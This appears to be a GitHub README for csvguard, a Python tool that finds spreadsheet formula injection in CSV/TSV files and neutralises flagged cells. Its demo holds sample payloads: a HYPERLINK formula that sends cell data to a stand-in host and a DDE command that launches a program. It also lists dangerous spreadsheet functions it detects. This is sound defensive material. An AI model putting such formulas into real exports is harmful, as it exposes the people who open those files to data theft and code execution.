Skip to content
TPOALOSPublic

About

Scan CSV/TSV for spreadsheet formula injection with cell coordinates; writes an atomic sanitized copy (stdlib-only Python)

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Latest commit

 

History

2 Commits

Folders and files

Repository files navigation

csvguard

Stop a CSV export from running code on whoever opens it. If a cell starts with =, +, - or @, Excel, LibreOffice and Google Sheets may treat it as a formula: =HYPERLINK(...) leaks data to a URL, =cmd|' /C calc'!A0 can launch a program. When your app exports user-supplied text as CSV, that is "CSV injection". csvguard finds those cells (with coordinates) and can write a copy where each one is neutralised with a leading apostrophe. It only reads the input and never overwrites anything.

$ csvguard contacts.csv
contacts.csv: 5 rows, up to 3 columns, utf-8, delimiter comma
  HIGH   dangerous-function   B2 (row 2, col 2)  =HYPERLINK("http://example.test/?q="&A2,"click")
         formula calls HYPERLINK(), which can reach the network or run code
  HIGH   dde                  B3 (row 3, col 2)  =cmd|' /C calc'!A0
         DDE pattern: can launch a program when the file is opened
  MEDIUM formula-prefix       B4 (row 4, col 2)  @SUM(1+1)
         starts with '@', evaluated as a formula by spreadsheets
  LOW    sign-prefixed-text   B5 (row 5, col 2)  -Alice
         starts with '-'; spreadsheets may try to parse it as a formula
$ csvguard --sanitize clean.csv contacts.csv > /dev/null
$ cat clean.csv
name,note,amount
alice,"'=HYPERLINK(""http://example.test/?q=""&A2,""click"")",-5
bob,"'=cmd|' /C calc'!A0",+1.5
carol,'@SUM(1+1),12
dave,'-Alice,3
$ csvguard clean.csv
clean.csv: 5 rows, up to 3 columns, utf-8, delimiter comma
  clean

Note that -5 and +1.5 in the amount column were left alone: plain numbers are not findings (use --strict to flag them too). One file, standard library only, Python 3.9+.

Usage

python3 csvguard.py export.csv
python3 csvguard.py --json --strict export.tsv
python3 csvguard.py --sanitize export.safe.csv export.csv
cat export.csv | python3 csvguard.py -
Option Meaning
--sanitize OUT write a neutralised copy (one input only). Refuses if OUT exists (including symlinks) or is the input; written to a temp file, then linked into place atomically
--strict also flag plainly numeric cells like -5 / +1.5
--delimiter auto (default: tab for .tsv, else comma/tab/semicolon by consistency), comma, tab, semicolon, pipe, or one character
--encoding NAME encoding when there is no BOM (default UTF-8, falling back to Latin-1)
--max-bytes SIZE refuse files above this size (default 128M)
--max-cell N flag cells longer than N characters (default 32767, Excel's limit)
--max-findings N keep at most N findings per file in the report (default 10000)
--json machine-readable report

What it reports

A cell is checked after CSV parsing (so "=1+1" in quotes counts). It is flagged when its value starts with =, +, -, @, a tab or a carriage return, or when one of those follows leading whitespace, quote characters, control characters or invisible characters (zero-width space, BOM): obfuscated-prefix.

Severity Rule
HIGH dde (cmd|...!A0, DDE(...)), dangerous-function (HYPERLINK, IMPORTXML, IMPORTHTML, IMPORTDATA, IMPORTFEED, IMPORTRANGE, WEBSERVICE, FILTERXML, EXEC, CALL, REGISTER, RTD, SHELL, IMAGE, OPENURL)
MEDIUM formula-prefix (=, @, or +/- followed by formula-like text), obfuscated-prefix, tab-cr-prefix
LOW sign-prefixed-text (-Alice, +1 555 0100), numeric-sign-prefix (--strict only), oversized-cell, unterminated-quote

Findings carry cell (B2), row, col (1-based, counting CSV records) and line (physical line where the record starts). Cells that already start with an apostrophe are treated as safe, since that is the neutralisation spreadsheets understand.

Sanitizing inserts one ' at the start of each flagged cell's value (inside the quotes for quoted cells) and leaves every other byte unchanged, including line endings, quoting and the BOM. Output uses the same encoding as the input.

Exit codes

  • 0 clean
  • 1 findings (also when --sanitize wrote a copy of a file that had findings)
  • 2 usage error or an input/output problem (missing file, too large, undecodable, output exists)

Limits

  • It looks at leading characters and known dangerous function names. A formula behind a prefix this tool does not know about is missed; fullwidth look-alikes (=) are not flagged because spreadsheets do not evaluate them, but some importers may.
  • The apostrophe neutralisation works in Excel, LibreOffice and Google Sheets. Other consumers (databases, scripts, Pandas) will see the apostrophe as data, so it is the right fix for files meant for spreadsheets only. Fixing it at export time in your application is better.
  • -5 is treated as a number, but the number test is a pattern, not a spreadsheet's own parser; unusual formats (-1 000, -$5) are flagged as sign-prefixed-text.
  • Files without a BOM are read as UTF-8, then Latin-1. UTF-16 without a BOM is not detected; pass --encoding utf-16-le (or -be).
  • The file is read into memory (capped by --max-bytes); cells beyond --max-cell are checked on their start only.
  • Header rows are scanned like any other row. It does not decide whether a flagged cell is malicious, only that a spreadsheet may run it.

Tests

python3 -m unittest -v

All test data is synthetic and built in a temp folder.

License

MIT (c) TPOALOS


More tools by TPOALOS: trojansrc · zipcheck · all 51 tools

About

Scan CSV/TSV for spreadsheet formula injection with cell coordinates; writes an atomic sanitized copy (stdlib-only Python)

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages